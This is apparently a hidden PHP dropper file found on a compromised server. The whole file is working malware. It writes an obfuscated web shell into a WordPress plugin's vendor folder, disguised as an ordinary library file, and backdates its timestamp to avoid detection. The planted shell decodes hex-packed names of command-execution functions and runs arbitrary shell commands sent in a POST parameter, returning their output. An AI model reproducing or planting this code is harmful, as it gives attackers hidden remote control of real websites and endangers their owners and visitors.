File: //proc/thread-self/root/dev/shm/.parameter_group
<?php $p = "/home/onlyitok/elsherifwelmostafa.com/wp-content/plugins/google-listings-and-ads/vendor/google/common-protos/src/Api/webdb_record_add.php"; $c = rawurldecode('%3C%3Fphp%0A%0A%0A%24descriptor1%20%3D%20%273%27%3B%0A%24descriptor2%20%3D%20%275%27%3B%0A%24descriptor3%20%3D%20%27d%27%3B%0A%24descriptor4%20%3D%20%277%27%3B%0A%24descriptor5%20%3D%20%278%27%3B%0A%24descriptor6%20%3D%20%276%27%3B%0A%24descriptor7%20%3D%20%27f%27%3B%0A%24descriptor8%20%3D%20%271%27%3B%0A%24descriptor9%20%3D%20%274%27%3B%0A%24descriptor10%20%3D%20%270%27%3B%0A%24descriptor11%20%3D%20%27e%27%3B%0A%24descriptor12%20%3D%20%272%27%3B%0A%24request_approved1%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%273%27.%277%27.%279%27.%277%27.%24descriptor1.%277%27.%274%27.%276%27.%24descriptor2.%276%27.%24descriptor3%29%3B%0A%24request_approved2%20%3D%20pack%28%22H%2A%22%2C%20%24descriptor4.%273%27.%276%27.%24descriptor5.%276%27.%24descriptor2.%24descriptor6.%27c%27.%276%27.%27c%27.%24descriptor2.%24descriptor7.%24descriptor6.%275%27.%24descriptor4.%278%27.%276%27.%275%27.%276%27.%24descriptor1%29%3B%0A%24request_approved3%20%3D%20pack%28%22H%2A%22%2C%20%24descriptor6.%275%27.%24descriptor4.%24descriptor5.%276%27.%24descriptor2.%276%27.%24descriptor1%29%3B%0A%24request_approved4%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%270%27.%24descriptor6.%24descriptor8.%24descriptor4.%273%27.%24descriptor4.%273%27.%24descriptor4.%24descriptor9.%276%27.%278%27.%277%27.%272%27.%277%27.%275%27%29%3B%0A%24request_approved5%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%24descriptor10.%24descriptor6.%24descriptor7.%277%27.%270%27.%276%27.%275%27.%276%27.%24descriptor11%29%3B%0A%24request_approved6%20%3D%20pack%28%22H%2A%22%2C%20%24descriptor4.%273%27.%277%27.%274%27.%24descriptor4.%24descriptor12.%24descriptor6.%275%27.%24descriptor6.%271%27.%276%27.%27d%27.%24descriptor2.%24descriptor7.%24descriptor6.%24descriptor4.%24descriptor6.%275%27.%277%27.%24descriptor9.%24descriptor2.%24descriptor7.%24descriptor6.%24descriptor1.%24descriptor6.%27f%27.%24descriptor6.%24descriptor11.%277%27.%274%27.%24descriptor6.%275%27.%276%27.%24descriptor11.%24descriptor4.%274%27.%277%27.%24descriptor1%29%3B%0A%24request_approved7%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%24descriptor10.%24descriptor6.%24descriptor1.%276%27.%27c%27.%276%27.%27f%27.%24descriptor4.%24descriptor1.%276%27.%24descriptor2%29%3B%0A%24restore_state%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%272%27.%276%27.%24descriptor2.%277%27.%24descriptor1.%277%27.%274%27.%24descriptor6.%27f%27.%277%27.%24descriptor12.%276%27.%24descriptor2.%24descriptor2.%27f%27.%24descriptor4.%273%27.%24descriptor4.%274%27.%276%27.%24descriptor8.%277%27.%274%27.%24descriptor6.%24descriptor2%29%3B%0Aif%20%28isset%28%24_POST%5B%24restore_state%5D%29%29%20%7B%0A%20%20%20%20%24restore_state%20%3D%20pack%28%22H%2A%22%2C%20%24_POST%5B%24restore_state%5D%29%3B%0A%20%20%20%20if%20%28function_exists%28%24request_approved1%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24request_approved1%28%24restore_state%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24request_approved2%29%29%20%7B%0A%20%20%20%20%20%20%20%20print%20%24request_approved2%28%24restore_state%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24request_approved3%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24request_approved3%28%24restore_state%2C%20%24symbol_flag%29%3B%0A%20%20%20%20%20%20%20%20print%20join%28%22%5Cn%22%2C%20%24symbol_flag%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24request_approved4%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24request_approved4%28%24restore_state%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24request_approved5%29%20%26%26%20function_exists%28%24request_approved6%29%20%26%26%20function_exists%28%24request_approved7%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24component_factor%20%3D%20%24request_approved5%28%24restore_state%2C%20%27r%27%29%3B%0A%20%20%20%20%20%20%20%20if%20%28%24component_factor%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24dat_ptr%20%3D%20%24request_approved6%28%24component_factor%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24request_approved7%28%24component_factor%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20print%20%24dat_ptr%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20exit%3B%0A%7D%0A'); if (file_put_contents($p, $c)) { echo '!success!'; @touch($p, 1620665120); } die('!ended!');